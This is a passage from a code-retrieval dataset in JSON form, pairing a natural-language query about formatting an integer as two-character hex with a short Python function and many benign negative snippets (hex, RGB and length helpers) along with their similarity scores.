400:\\n\\n return text[:400] + ' ...'\\n \\n return text\",\n \"def non_repeating_substring(str1: str) -> int:\\n max_length = 0\\n seen = {}\\n window_start = 0\\n for window_end in range(len(str1)):\\n right_char = str1[window_end]\\n if right_char in seen:\\n window_start = max(window_start, seen[right_char] + 1)\\n seen[right_char] = window_end\\n max_length = max(max_length, window_end - window_start + 1)\\n return max_length\",\n \"def makeEllipsis(aStr, maxLen=60):\\n\\tif len(aStr)>maxLen:\\n\\t\\treturn aStr[:maxLen-3]+\\\"...\\\"\\n\\treturn aStr\",\n \"def hash_str_length(self):\\n return self.hash_byte_length() * 2\",\n \"def getPacketSize(binaryString, startPos=0):\\n return (getPacketLength(binaryString, startPos) + 7)\",\n \"def calculate_length(self):\\n raise NotImplementedError\",\n \"def getLength(msg):\\n return len(msg)\",\n \"def test_to_knx_too_long(self):\\n with self.assertRaises(ConversionError):\\n DPTString().to_knx(\\\"AAAAABBBBBCCCCx\\\")\",\n \"def pad_to_max_length(self, sequence):\\n sequence = sequence[:self.max_seq_length]\\n n = len(sequence)\\n #return sequence + ['[PAD]'] * (self.max_seq_length - n)\\n return sequence + [0] *(self.max_seq_length - n)\",\n \"def max_seq_len() -> int:\\n return 8\",\n \"def num_chars(word):\\n return len(word)\",\n \"def longlines(x):\\n return sum(len(plain(line)) // cw for line in x.split(\\\"\\\\n\\\"))\",\n \"def max_length(verifield, required):\\n if verifield is None: return True\\n return len(verifield) <= required\",\n \"def hstrlen(self, key, field):\\n return self._command(b'HSTRLEN', key, field)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.5984497","0.589638","0.58957535","0.58499557","0.58037084","0.57385695","0.5657735","0.5636777","0.5635527","0.5634374","0.5584988","0.5581181","0.5567638","0.55576235","0.5543473","0.55387914","0.5511795","0.5505335","0.5472981","0.5454402","0.5447952","0.54453707","0.5408197","0.5390651","0.5386351","0.5379252","0.5367538","0.5345844","0.5333229","0.53181434","0.5315358","0.5310892","0.5297314","0.52848226","0.5283807","0.52815133","0.5275075","0.52503383","0.5228029","0.52252334","0.52229595","0.5221574","0.5217634","0.52133584","0.52057683","0.520507","0.52015454","0.519629","0.5194388","0.5189178","0.51681125","0.51645315","0.5161947","0.5155154","0.5150142","0.51481444","0.5140785","0.5140785","0.51369005","0.5131879","0.5131473","0.51270473","0.51264745","0.5123934","0.5119693","0.5119022","0.51111513","0.5093798","0.5078835","0.5077326","0.5061447","0.5059288","0.50585586","0.50585586","0.50585586","0.50585586","0.5055626","0.5054536","0.5053835","0.50490505","0.5047163","0.50437725","0.5042074","0.5039835","0.5037103","0.5028824","0.5028249","0.5019865","0.5015449","0.50106317","0.5000132","0.49966344","0.4994491","0.49934924","0.49915946","0.49905384","0.498667","0.49802262","0.49801528","0.49794707","0.49643"],"string":"[\n \"0.5984497\",\n \"0.589638\",\n \"0.58957535\",\n \"0.58499557\",\n \"0.58037084\",\n \"0.57385695\",\n \"0.5657735\",\n \"0.5636777\",\n \"0.5635527\",\n \"0.5634374\",\n \"0.5584988\",\n \"0.5581181\",\n \"0.5567638\",\n \"0.55576235\",\n \"0.5543473\",\n \"0.55387914\",\n \"0.5511795\",\n \"0.5505335\",\n \"0.5472981\",\n \"0.5454402\",\n \"0.5447952\",\n \"0.54453707\",\n \"0.5408197\",\n \"0.5390651\",\n \"0.5386351\",\n \"0.5379252\",\n \"0.5367538\",\n \"0.5345844\",\n \"0.5333229\",\n \"0.53181434\",\n \"0.5315358\",\n \"0.5310892\",\n \"0.5297314\",\n \"0.52848226\",\n \"0.5283807\",\n \"0.52815133\",\n \"0.5275075\",\n \"0.52503383\",\n \"0.5228029\",\n \"0.52252334\",\n \"0.52229595\",\n \"0.5221574\",\n \"0.5217634\",\n \"0.52133584\",\n \"0.52057683\",\n \"0.520507\",\n \"0.52015454\",\n \"0.519629\",\n \"0.5194388\",\n \"0.5189178\",\n \"0.51681125\",\n \"0.51645315\",\n \"0.5161947\",\n \"0.5155154\",\n \"0.5150142\",\n \"0.51481444\",\n \"0.5140785\",\n \"0.5140785\",\n \"0.51369005\",\n \"0.5131879\",\n \"0.5131473\",\n \"0.51270473\",\n \"0.51264745\",\n \"0.5123934\",\n \"0.5119693\",\n \"0.5119022\",\n \"0.51111513\",\n \"0.5093798\",\n \"0.5078835\",\n \"0.5077326\",\n \"0.5061447\",\n \"0.5059288\",\n \"0.50585586\",\n \"0.50585586\",\n \"0.50585586\",\n \"0.50585586\",\n \"0.5055626\",\n \"0.5054536\",\n \"0.5053835\",\n \"0.50490505\",\n \"0.5047163\",\n \"0.50437725\",\n \"0.5042074\",\n \"0.5039835\",\n \"0.5037103\",\n \"0.5028824\",\n \"0.5028249\",\n \"0.5019865\",\n \"0.5015449\",\n \"0.50106317\",\n \"0.5000132\",\n \"0.49966344\",\n \"0.4994491\",\n \"0.49934924\",\n \"0.49915946\",\n \"0.49905384\",\n \"0.498667\",\n \"0.49802262\",\n \"0.49801528\",\n \"0.49794707\",\n \"0.49643\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":14483,"cells":{"query":{"kind":"string","value":"Normalised 2char hex representation of 0255"},"document":{"kind":"string","value":"def hx(i):\n a = hex(i)[2:]\n if len(a)<2: a = ''.join(['0',a])\n return a"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def int2hex(n: int) -> str:","def sanatize_hex(data: str) -> str:\n return data.replace(\"0x\", \"\").replace(\"0X\", \"\")","def convertirHexadecimal(self):\n self.convertir(lambda c: hex(ord(c))[2:], sep=' ')","def hexify(c):\n try:\n s = c.encode(\"utf-8\").encode(\"hex\")\n except UnicodeDecodeError:\n s = 0\n n = len(s)\n if n <= 2: return s\n a = ' - '.join([s[i:i+2] for i in range(0,n,2)])\n return a[:-1]","def dec2hex(x):\n return hex(x)[2:]","def hexcode(self):\n hexc = \"#%.02X%.02X%.02X\" % (int(self.rgb_255[0]), int(self.rgb_255[1]), int(self.rgb_255[2]))\n return hexc","def c_hex(x):\n #print(\"c_hex\", x, type(x))\n h = hex(x & ((1 << INT_BITS) - 1))\n while h[-1:] == \"L\": h = h[:-1] # for python 2\n return h + UINT_SUFFIX","def Hex(num):\n return hex(CInt(num))[2:].upper()","def bin2hex(x):\n return hex(int(x, 2))[2:]","def hex(cls, x):\n return c_hex(x)","def ByteToHex( bins ):\r\n\r\n return ''.join( [ \"%02X\" % x for x in bins ] ).strip()","def conv_hex(num):\n\n if num < 10:\n return str(num)\n if num == 10:\n return 'A'\n if num == 11:\n return 'B'\n if num == 12:\n return 'C'\n if num == 13:\n return 'D'\n if num == 14:\n return 'E'\n if num == 15:\n return 'F'","def to_hex2(i):\n\ttmp = hex(int(i))[2:]\n\tif len(tmp) == 1:\n\t\treturn(\"0\" + str(tmp))\n\telse:\n\t\treturn(tmp)","def unH(s):\n return ''.join([chr(int(s[i:i+2],16)) for i in range(2, len(s),2)])","def stringify(self):\n hexcode = \"#\"\n for x in self.value:\n part = hex(x)[2:]\n if len(part) < 2: part = \"0\" + part\n hexcode += part\n return hexcode","def toHex(num,length=8):\n\treturn hex(num)[2:].lower()[-length:].zfill(length)","def hexify_word(word):\r\n\r\n return ''.join([str(hex(ord(c))[2::]) for c in word])","def _dehex(s):\n import re\n import binascii\n\n # Remove all non-hexadecimal digits\n s = re.sub(br'[^a-fA-F\\d]', b'', s)\n # binscii.unhexlify works in Python 2 and Python 3 (unlike\n # thing.decode('hex')).\n return binascii.unhexlify(s)","def int_to_hex(n):\r\n #return \"0x%X\" % n\r\n return hex(n)","def convert(value):\n if value < 256 and value > 32 and chr(value) in string.printable:\n ascii_val = chr(value)\n else:\n ascii_val = \"\"\n\n return (hex(value), bin(value), ascii_val, value)","def print_as_hex(s):\n print(\":\".join(\"{0:x}\".format(ord(c)) for c in s))","def rgb_hexify(rgb: Iterable[int]) -> str:\n return ''.join(\n list(map(\n lambda x: hex(abs(x))[2:].zfill(2),\n rgb\n ))[::-1]\n )","def b2a_hex(data):\n\n return binascii.b2a_hex(data)","def longtohex(n):\n\n plain=(re.match(r\"0x([0-9A-Fa-f]*)l?$\", hex(n), re.I).group(1)).lower()\n return \"0x\" + plain","def hex(space, w_val):\n return space.hex(w_val)","def toHex(self):\r\n rgb = self.toRGB()\r\n return ('#%02s%02s%02s' % (hex(rgb[0])[2:], hex(rgb[1])[2:],\r\n hex(rgb[2])[2:])).replace(' ', '0')","def int_to_hex(num):\n return hex(num)","def hexchar(i):\n if i > -1 and i < 16:\n return \"%X\" % i\n else:\n return None","def bin2hex(bit_line):\n return '{:x}'.format(int(bit_line,2))","def int_to_hex(a):\n return hex(a)","def int_to_hexstr(data: int) -> str:\n return \"%0.2X\" % data","def w__format_hex(self, string):\n d = map(None, string)\n d = map(ord, d)\n d = map(lambda x: \"%02x\" % x, d)\n return ' '.join(d)","def _convert_hex(self, hex_value):\n if not isinstance(hex_value, str):\n raise TypeError(\"given hex value must be str\")\n m = HEX_RE.match(hex_value)\n if m is None:\n raise ValueError(\"given string does not seem to be Python hex\")\n sign_char, base, exp_sign, exp = [m.group(i) for i in range(1,5)]\n new_sign = \"+\" if sign_char is None else sign_char\n # Line below converts exp to hex value. The \"0x\" prefix is removed \n # with [2:]. The exponent is padded with (too many) zeros (Stata \n # requires 3 digits), and reduced to last 3 digits with [-3:].\n new_exp = (\"000\" + hex(int(exp))[2:])[-3:]\n return \"\".join((new_sign, base, 'X', exp_sign, new_exp))","def hex(string):\n return string.encode('hex')","def hex_form(hash):\n final_hash = ''\n for i in range(len(hash)):\n final_hash += format(hash[i], '02x')\n return final_hash","def hex_hash(s):\n if not s:\n return '0'\n s = s.encode('utf-8')\n return '{:x}'.format(adler32(s) & 0xffffffff)","def dump( n ):\n\n s = '%x' % n\n if len(s) & 1:\n s = '0' + s\n return s.decode('hex')","def _hexchar(c):\n if c == '1': return 1\n if c == '2': return 2\n if c == '3': return 3\n if c == '4': return 4\n if c == '5': return 5\n if c == '6': return 6\n if c == '7': return 7\n if c == '8': return 8\n if c == '9': return 9\n if c == 'A' or c == 'a': return 10\n if c == 'B' or c == 'b': return 11\n if c == 'C' or c == 'c': return 12\n if c == 'D' or c == 'd': return 13\n if c == 'E' or c == 'e': return 14\n if c == 'F' or c == 'f': return 15\n return 0","def hexify(buffer):\n return ''.join('%02x' % ord(c) for c in buffer)","def hex_(value, pad=None):\n return hex(value)[0:pad]","def tohex(data: str) -> str:\n match = re.fullmatch(r\"^0[x|X][0-9a-fA-F]+\", data)\n if match:\n return data.lower()\n match = re.fullmatch(r\"^[0-9a-fA-F]+[h|H]$\", data)\n if not match:\n raise ValueError(f\"Required hex of the form `0x` or `H` found {data}\")\n match = re.match(r\"^[0-9a-fA-F]+\", data)\n return f\"0x{match.group().lower()}\"","def b2hex(b):\n return \"\".join([\"%02x\"%_ for _ in b])","def sha256_hexoutput(in_str):\r\n return sha256(in_str.encode('ascii')).hexdigest()","def phex(value, expected):\n return f\"{value:#0{expected}x}\"","def get_hexa(num: int) -> str:\n return str(hex(num))[2:].upper()","def TransferBinaryToHex(binary):\n return \"\".join([\"%02X\"%ord(x) for x in binary])","def to_hex(text):\n return ' '.join([hex(ord(char)) for char in unicode(text, 'UTF-8')])","def bin_to_char(exp):\n new_exp = \"\"\n for i in range(0,len(exp)):\n if exp[i] == \"1\":\n new_exp += \"#\"\n else:\n new_exp += \" \"\n return new_exp","def ByteToHex( byteStr ):\r\n \r\n # Uses list comprehension which is a fractionally faster implementation than\r\n # the alternative, more readable, implementation below\r\n # \r\n # hex = []\r\n # for aChar in byteStr:\r\n # hex.append( \"%02X \" % ord( aChar ) )\r\n #\r\n # return ''.join( hex ).strip() \r\n\r\n return ''.join( [ \"%02X \" % ord( x ) for x in byteStr ] ).strip()","def get_hexcode(rgb):\n return \"#\" + \"\".join(f\"{hex(int(x))[2:]:0>2}\" for x in rgb)","def ToHex(val):\n return 'None' if val is None else '%#x' % val","def toHexa(data):\n\tresult = \"\"\n\tif isBytes(data):\n\t\tdata = data.decode(\"latin-1\")\n\tfor i in data:\n\t\tresult += \"\\\\x%02X\"%ord(i)\n\treturn result","def rgb_hex_str(self, x):\n return \"#%02x%02x%02x\" % self.rgb_bytes_tuple(x)","def hex_to_unichr(hex_string):\n if (hex_string is None) or (len(hex_string) < 1):\n return None\n if hex_string.startswith(\"U+\"):\n hex_string = hex_string[2:]\n return int_to_unichr(int(hex_string, base=16))","def _hexbyte(b):\n return _hexchar(b[0]) * 16 + _hexchar(b[1])","def to_hex(a):\n\treturn str(\n\t\tbinascii.b2a_hex(\n\t\t\ta.tostring()\n\t\t),\n\t\t\"UTF-8\"\n\t)","def hex_str (self):\n return \"#%02X%02X%02X\"%(self.r, self.g, self.b)","def hex_string(s, n=32):\n # take first n characters, reverse them and get ascii codes with ord()\n return 'X\"{0:>0{1}}\"'.format(''.join(['{0:x}'.format(ord(c)) for c in s[:n][::-1]]), n * 2)","def rgb2hex(self,color):\n \n return f\"#{''.join(f'{hex(c)[2:].upper():0>2}' for c in color)}\"","def to_hex6_string(self):\n def c(x):\n return int(x * 255.0)\n return '#{:02x}{:02x}{:02x}'.format(c(self.r), c(self.g), c(self.b))","def hex_str (self):\n return \"#%02X%02X%02X\"%(self._intern[0],self._intern[1],self._intern[2])","def unhexchar(c):\n c = c[:1]\n if \"abcdefABCDEF0123456789\".find(c) != -1:\n return int(c,16)\n else:\n return None","def TransferHexToBinary(value):\n value = RemoveWhiteSpace(value)\n return \"\".join(map(chr,[int(h+l,16) for h,l in zip(value[::2],value[1::2])]))","def hex_value(value, width=8):\n return 'X\"{0:0{1}x}\"'.format(value, width)","def ByteToHex( byteStr ):\n \n # Uses list comprehension which is a fractionally faster implementation than\n # the alternative, more readable, implementation below\n # \n # hex = []\n # for aChar in byteStr:\n # hex.append( \"%02X \" % ord( aChar ) )\n #\n # return ''.join( hex ).strip() \n\n return ''.join( [ \"%02X \" % ord( x ) for x in byteStr ] ).strip()","def _base32_to_hex(base32):\n ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'\n x = 0\n for digit in str(base32.upper().strip(' ')):\n x = x * len(ALPHABET) + ALPHABET.index(digit)\n return hex(x).lstrip('0x').rstrip('L').upper()","def bh2u(x: bytes) -> str:\n return hfu(x).decode('ascii')","def color_to_hex(color):\n rgb = colorConverter.to_rgb(color)\n return '#{0:02X}{1:02X}{2:02X}'.format(*(int(255 * c) for c in rgb))","def hexify(text):\r\n return ' '.join([hexify_word(word) for word in text.split()])","def fn(c):\n ans = 0\n for k in range(1, 16): \n ans = min(ans, k*16+k, key=lambda x: abs(x - int(c, 16)))\n return hex(ans)[2:].zfill(2)","def hexdigest(self):\r\n return ''.join(['%02x' % ord(c) for c in self.digest()])","def ByteToHex( byteStr ):\n \n # Uses list comprehension which is a fractionally faster implementation than\n # the alternative, more readable, implementation below\n # \n # hex = []\n # for aChar in byteStr:\n # hex.append( \"%02X \" % ord( aChar ) )\n #\n # return ''.join( hex ).strip() \n\n return ''.join([ \"%02X\" % ord( x ) for x in byteStr ] ).strip()","def bytes_to_hex(s):\n\n return s.encode(\"hex\")","def oct2hex(x):\n return hex(int(x, 8))[2:]","def convertLittleBig(string):\n t = bytearray.fromhex(string)\n t.reverse()\n return ''.join(format(x, '02x') for x in t)","def value_convert(x):\n try:\n return x.decode(\"ascii\")\n except UnicodeDecodeError:\n return x.hex()","def dec2hex(string_num):\n # if string_num.isdigit():\n hex_str = hex(string_num)\n hex_str = hex_str.replace('0x', '')\n if len(hex_str) < 2:\n hex_str = '0' + hex_str\n return hex_str","def hexdigest(self):\n return \"\".join(\"%02x\" % ord(x)\n for x in MegaCrypto.a32_to_str(self.digest()))","def hexToRed(self, hex):\n return int(hex[0:2], 16)","def a2b_hex(string):\n\n if len(string) % 2 == 1:\n string = '0' + string\n\n try:\n return binascii.a2b_hex(string.encode('ascii'))\n except TypeError:\n raise Error('Invalid hexadecimal string')","def encode_hex(self, i):\n return \"%08x\" % self.transcode(i)","def rgba_hex_str(self, x):\n return \"#%02x%02x%02x%02x\" % self.rgba_bytes_tuple(x)","def bitstr_to_hex(a):\n return hex(bitstr_to_int(a))","def uInt8HexStr(uInt8):\n \n croppedTo8bit = uInt8 & 0xff # ensure the value is only 8 bit.\n result = \"%(#1)02x\" % { \"#1\" : croppedTo8bit }\n return result","def rgb_to_hex(rgb):\n return \"#{0:02x}{1:02x}{2:02x}\".format(*rgb)","def ascii_to_phred64(c):\r\n return ascii_to_phred(c, 64)","def sanitizte_color(value):\n if len(value) == 7 and value[0] == '#':\n return \"#%06x\" % int(value[1:], 16)\n raise ValueError('invalid color')","def normalize_01(x):\n return x / 255.0","def encodeHex(s):\n encoder = codecs.getencoder('hex_codec')\n hex, length = encoder(s)\n assert len(s) == length, \"Hex encoding incomplete\"\n return hex","def as_hex(self):\n return binascii.hexlify(self.as_bytes()).decode('ascii')","def pad_normalize(s):\n\n if len(s) < length:\n s += '0' * (length-len(s))\n else:\n s = s[:length]\n return [float(int(s[i], 16)/255) for i in range(0, length)]","def HexColor(val):\n if isinstance(val, str):\n val = int(val, 16)\n factor = 1.0 / 255\n return Color(factor * ((val >> 16) & 0xFF), factor * ((val >> 8) & 0xFF), factor * (val & 0xFF))","def RGB_hex_to_color(text: str, a: int=255):\n num = int(text, 16)\n r = num // 65536\n g = (num - r * 65536) // 256\n b = num - r * 65536 - g * 256\n return np.clip(np.array([r, g, b, a], dtype='u1'), 0, 255)","def H(s):\n return 'H_' + ''.join(['%02x' % ord(x) for x in s])","def ToHexSize(val):\n return 'None' if val is None else '%#x' % len(val)","def convert_to_hex(input_string: str):\n return \" \".join([hex(ord(ch))[2:] for ch in input_string])","def hex_to_ascii_string(input_string):\n\t\tlist_of_hex = input_string.split(\" \")\n\t\tchars = [chr(int(char, 16)) for char in list_of_hex if char != ' ']\n\t\toutput_string = \"\".join(chars)\n\t\treturn output_string","def test_bytes_to_pretty_hex():\n data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]\n expected = (\n \"0000 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 \"\n \"|................|\\n\"\n )\n\n result = cmds._bytes_to_pretty_hex(data=data)\n\n assert expected == result","def hexbyte(string):\n#\treturn repr(string)\n\ts = \"\"\n\tfor i in string:\n\t\tif (ord(i) >= ord('A') and ord(i) <= ord('z')) \\\n\t\t\tor (ord(i) >= ord('0') and ord(i) <= ord('9')) \\\n\t\t\tor (ord(i) == ord(\" \")):\n\t\t\ts += \"%s\" % i\n\t\telse:\n\t\t\ts += \"\\\\x%02x\" % ord(i)\n\n#\t\ts += \" \"\n\treturn s","def printable_hash(h):\n return int(h).to_bytes(32, byteorder='big', signed=False).hex()"],"string":"[\n \"def int2hex(n: int) -> str:\",\n \"def sanatize_hex(data: str) -> str:\\n return data.replace(\\\"0x\\\", \\\"\\\").replace(\\\"0X\\\", \\\"\\\")\",\n \"def convertirHexadecimal(self):\\n self.convertir(lambda c: hex(ord(c))[2:], sep=' ')\",\n \"def hexify(c):\\n try:\\n s = c.encode(\\\"utf-8\\\").encode(\\\"hex\\\")\\n except UnicodeDecodeError:\\n s = 0\\n n = len(s)\\n if n <= 2: return s\\n a = ' - '.join([s[i:i+2] for i in range(0,n,2)])\\n return a[:-1]\",\n \"def dec2hex(x):\\n return hex(x)[2:]\",\n \"def hexcode(self):\\n hexc = \\\"#%.02X%.02X%.02X\\\" % (int(self.rgb_255[0]), int(self.rgb_255[1]), int(self.rgb_255[2]))\\n return hexc\",\n \"def c_hex(x):\\n #print(\\\"c_hex\\\", x, type(x))\\n h = hex(x & ((1 << INT_BITS) - 1))\\n while h[-1:] == \\\"L\\\": h = h[:-1] # for python 2\\n return h + UINT_SUFFIX\",\n \"def Hex(num):\\n return hex(CInt(num))[2:].upper()\",\n \"def bin2hex(x):\\n return hex(int(x, 2))[2:]\",\n \"def hex(cls, x):\\n return c_hex(x)\",\n \"def ByteToHex( bins ):\\r\\n\\r\\n return ''.join( [ \\\"%02X\\\" % x for x in bins ] ).strip()\",\n \"def conv_hex(num):\\n\\n if num < 10:\\n return str(num)\\n if num == 10:\\n return 'A'\\n if num == 11:\\n return 'B'\\n if num == 12:\\n return 'C'\\n if num == 13:\\n return 'D'\\n if num == 14:\\n return 'E'\\n if num == 15:\\n return 'F'\",\n \"def to_hex2(i):\\n\\ttmp = hex(int(i))[2:]\\n\\tif len(tmp) == 1:\\n\\t\\treturn(\\\"0\\\" + str(tmp))\\n\\telse:\\n\\t\\treturn(tmp)\",\n \"def unH(s):\\n return ''.join([chr(int(s[i:i+2],16)) for i in range(2, len(s),2)])\",\n \"def stringify(self):\\n hexcode = \\\"#\\\"\\n for x in self.value:\\n part = hex(x)[2:]\\n if len(part) < 2: part = \\\"0\\\" + part\\n hexcode += part\\n return hexcode\",\n \"def toHex(num,length=8):\\n\\treturn hex(num)[2:].lower()[-length:].zfill(length)\",\n \"def hexify_word(word):\\r\\n\\r\\n return ''.join([str(hex(ord(c))[2::]) for c in word])\",\n \"def _dehex(s):\\n import re\\n import binascii\\n\\n # Remove all non-hexadecimal digits\\n s = re.sub(br'[^a-fA-F\\\\d]', b'', s)\\n # binscii.unhexlify works in Python 2 and Python 3 (unlike\\n # thing.decode('hex')).\\n return binascii.unhexlify(s)\",\n \"def int_to_hex(n):\\r\\n #return \\\"0x%X\\\" % n\\r\\n return hex(n)\",\n \"def convert(value):\\n if value < 256 and value > 32 and chr(value) in string.printable:\\n ascii_val = chr(value)\\n else:\\n ascii_val = \\\"\\\"\\n\\n return (hex(value), bin(value), ascii_val, value)\",\n \"def print_as_hex(s):\\n print(\\\":\\\".join(\\\"{0:x}\\\".format(ord(c)) for c in s))\",\n \"def rgb_hexify(rgb: Iterable[int]) -> str:\\n return ''.join(\\n list(map(\\n lambda x: hex(abs(x))[2:].zfill(2),\\n rgb\\n ))[::-1]\\n )\",\n \"def b2a_hex(data):\\n\\n return binascii.b2a_hex(data)\",\n \"def longtohex(n):\\n\\n plain=(re.match(r\\\"0x([0-9A-Fa-f]*)l?$\\\", hex(n), re.I).group(1)).lower()\\n return \\\"0x\\\" + plain\",\n \"def hex(space, w_val):\\n return space.hex(w_val)\",\n \"def toHex(self):\\r\\n rgb = self.toRGB()\\r\\n return ('#%02s%02s%02s' % (hex(rgb[0])[2:], hex(rgb[1])[2:],\\r\\n hex(rgb[2])[2:])).replace(' ', '0')\",\n \"def int_to_hex(num):\\n return hex(num)\",\n \"def hexchar(i):\\n if i > -1 and i < 16:\\n return \\\"%X\\\" % i\\n else:\\n return None\",\n \"def bin2hex(bit_line):\\n return '{:x}'.format(int(bit_line,2))\",\n \"def int_to_hex(a):\\n return hex(a)\",\n \"def int_to_hexstr(data: int) -> str:\\n return \\\"%0.2X\\\" % data\",\n \"def w__format_hex(self, string):\\n d = map(None, string)\\n d = map(ord, d)\\n d = map(lambda x: \\\"%02x\\\" % x, d)\\n return ' '.join(d)\",\n \"def _convert_hex(self, hex_value):\\n if not isinstance(hex_value, str):\\n raise TypeError(\\\"given hex value must be str\\\")\\n m = HEX_RE.match(hex_value)\\n if m is None:\\n raise ValueError(\\\"given string does not seem to be Python hex\\\")\\n sign_char, base, exp_sign, exp = [m.group(i) for i in range(1,5)]\\n new_sign = \\\"+\\\" if sign_char is None else sign_char\\n # Line below converts exp to hex value. The \\\"0x\\\" prefix is removed \\n # with [2:]. The exponent is padded with (too many) zeros (Stata \\n # requires 3 digits), and reduced to last 3 digits with [-3:].\\n new_exp = (\\\"000\\\" + hex(int(exp))[2:])[-3:]\\n return \\\"\\\".join((new_sign, base, 'X', exp_sign, new_exp))\",\n \"def hex(string):\\n return string.encode('hex')\",\n \"def hex_form(hash):\\n final_hash = ''\\n for i in range(len(hash)):\\n final_hash += format(hash[i], '02x')\\n return final_hash\",\n \"def hex_hash(s):\\n if not s:\\n return '0'\\n s = s.encode('utf-8')\\n return '{:x}'.format(adler32(s) & 0xffffffff)\",\n \"def dump( n ):\\n\\n s = '%x' % n\\n if len(s) & 1:\\n s = '0' + s\\n return s.decode('hex')\",\n \"def _hexchar(c):\\n if c == '1': return 1\\n if c == '2': return 2\\n if c == '3': return 3\\n if c == '4': return 4\\n if c == '5': return 5\\n if c == '6': return 6\\n if c == '7': return 7\\n if c == '8': return 8\\n if c == '9': return 9\\n if c == 'A' or c == 'a': return 10\\n if c == 'B' or c == 'b': return 11\\n if c == 'C' or c == 'c': return 12\\n if c == 'D' or c == 'd': return 13\\n if c == 'E' or c == 'e': return 14\\n if c == 'F' or c == 'f': return 15\\n return 0\",\n \"def hexify(buffer):\\n return ''.join('%02x' % ord(c) for c in buffer)\",\n \"def hex_(value, pad=None):\\n return hex(value)[0:pad]\",\n \"def tohex(data: str) -> str:\\n match = re.fullmatch(r\\\"^0[x|X][0-9a-fA-F]+\\\", data)\\n if match:\\n return data.lower()\\n match = re.fullmatch(r\\\"^[0-9a-fA-F]+[h|H]$\\\", data)\\n if not match:\\n raise ValueError(f\\\"Required hex of the form `0x` or `H` found {data}\\\")\\n match = re.match(r\\\"^[0-9a-fA-F]+\\\", data)\\n return f\\\"0x{match.group().lower()}\\\"\",\n \"def b2hex(b):\\n return \\\"\\\".join([\\\"%02x\\\"%_ for _ in b])\",\n \"def sha256_hexoutput(in_str):\\r\\n return sha256(in_str.encode('ascii')).hexdigest()\",\n \"def phex(value, expected):\\n return f\\\"{value:#0{expected}x}\\\"\",\n \"def get_hexa(num: int) -> str:\\n return str(hex(num))[2:].upper()\",\n \"def TransferBinaryToHex(binary):\\n return \\\"\\\".join([\\\"%02X\\\"%ord(x) for x in binary])\",\n \"def to_hex(text):\\n return ' '.join([hex(ord(char)) for char in unicode(text, 'UTF-8')])\",\n \"def bin_to_char(exp):\\n new_exp = \\\"\\\"\\n for i in range(0,len(exp)):\\n if exp[i] == \\\"1\\\":\\n new_exp += \\\"#\\\"\\n else:\\n new_exp += \\\" \\\"\\n return new_exp\",\n \"def ByteToHex( byteStr ):\\r\\n \\r\\n # Uses list comprehension which is a fractionally faster implementation than\\r\\n # the alternative, more readable, implementation below\\r\\n # \\r\\n # hex = []\\r\\n # for aChar in byteStr:\\r\\n # hex.append( \\\"%02X \\\" % ord( aChar ) )\\r\\n #\\r\\n # return ''.join( hex ).strip() \\r\\n\\r\\n return ''.join( [ \\\"%02X \\\" % ord( x ) for x in byteStr ] ).strip()\",\n \"def get_hexcode(rgb):\\n return \\\"#\\\" + \\\"\\\".join(f\\\"{hex(int(x))[2:]:0>2}\\\" for x in rgb)\",\n \"def ToHex(val):\\n return 'None' if val is None else '%#x' % val\",\n \"def toHexa(data):\\n\\tresult = \\\"\\\"\\n\\tif isBytes(data):\\n\\t\\tdata = data.decode(\\\"latin-1\\\")\\n\\tfor i in data:\\n\\t\\tresult += \\\"\\\\\\\\x%02X\\\"%ord(i)\\n\\treturn result\",\n \"def rgb_hex_str(self, x):\\n return \\\"#%02x%02x%02x\\\" % self.rgb_bytes_tuple(x)\",\n \"def hex_to_unichr(hex_string):\\n if (hex_string is None) or (len(hex_string) < 1):\\n return None\\n if hex_string.startswith(\\\"U+\\\"):\\n hex_string = hex_string[2:]\\n return int_to_unichr(int(hex_string, base=16))\",\n \"def _hexbyte(b):\\n return _hexchar(b[0]) * 16 + _hexchar(b[1])\",\n \"def to_hex(a):\\n\\treturn str(\\n\\t\\tbinascii.b2a_hex(\\n\\t\\t\\ta.tostring()\\n\\t\\t),\\n\\t\\t\\\"UTF-8\\\"\\n\\t)\",\n \"def hex_str (self):\\n return \\\"#%02X%02X%02X\\\"%(self.r, self.g, self.b)\",\n \"def hex_string(s, n=32):\\n # take first n characters, reverse them and get ascii codes with ord()\\n return 'X\\\"{0:>0{1}}\\\"'.format(''.join(['{0:x}'.format(ord(c)) for c in s[:n][::-1]]), n * 2)\",\n \"def rgb2hex(self,color):\\n \\n return f\\\"#{''.join(f'{hex(c)[2:].upper():0>2}' for c in color)}\\\"\",\n \"def to_hex6_string(self):\\n def c(x):\\n return int(x * 255.0)\\n return '#{:02x}{:02x}{:02x}'.format(c(self.r), c(self.g), c(self.b))\",\n \"def hex_str (self):\\n return \\\"#%02X%02X%02X\\\"%(self._intern[0],self._intern[1],self._intern[2])\",\n \"def unhexchar(c):\\n c = c[:1]\\n if \\\"abcdefABCDEF0123456789\\\".find(c) != -1:\\n return int(c,16)\\n else:\\n return None\",\n \"def TransferHexToBinary(value):\\n value = RemoveWhiteSpace(value)\\n return \\\"\\\".join(map(chr,[int(h+l,16) for h,l in zip(value[::2],value[1::2])]))\",\n \"def hex_value(value, width=8):\\n return 'X\\\"{0:0{1}x}\\\"'.format(value, width)\",\n \"def ByteToHex( byteStr ):\\n \\n # Uses list comprehension which is a fractionally faster implementation than\\n # the alternative, more readable, implementation below\\n # \\n # hex = []\\n # for aChar in byteStr:\\n # hex.append( \\\"%02X \\\" % ord( aChar ) )\\n #\\n # return ''.join( hex ).strip() \\n\\n return ''.join( [ \\\"%02X \\\" % ord( x ) for x in byteStr ] ).strip()\",\n \"def _base32_to_hex(base32):\\n ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'\\n x = 0\\n for digit in str(base32.upper().strip(' ')):\\n x = x * len(ALPHABET) + ALPHABET.index(digit)\\n return hex(x).lstrip('0x').rstrip('L').upper()\",\n \"def bh2u(x: bytes) -> str:\\n return hfu(x).decode('ascii')\",\n \"def color_to_hex(color):\\n rgb = colorConverter.to_rgb(color)\\n return 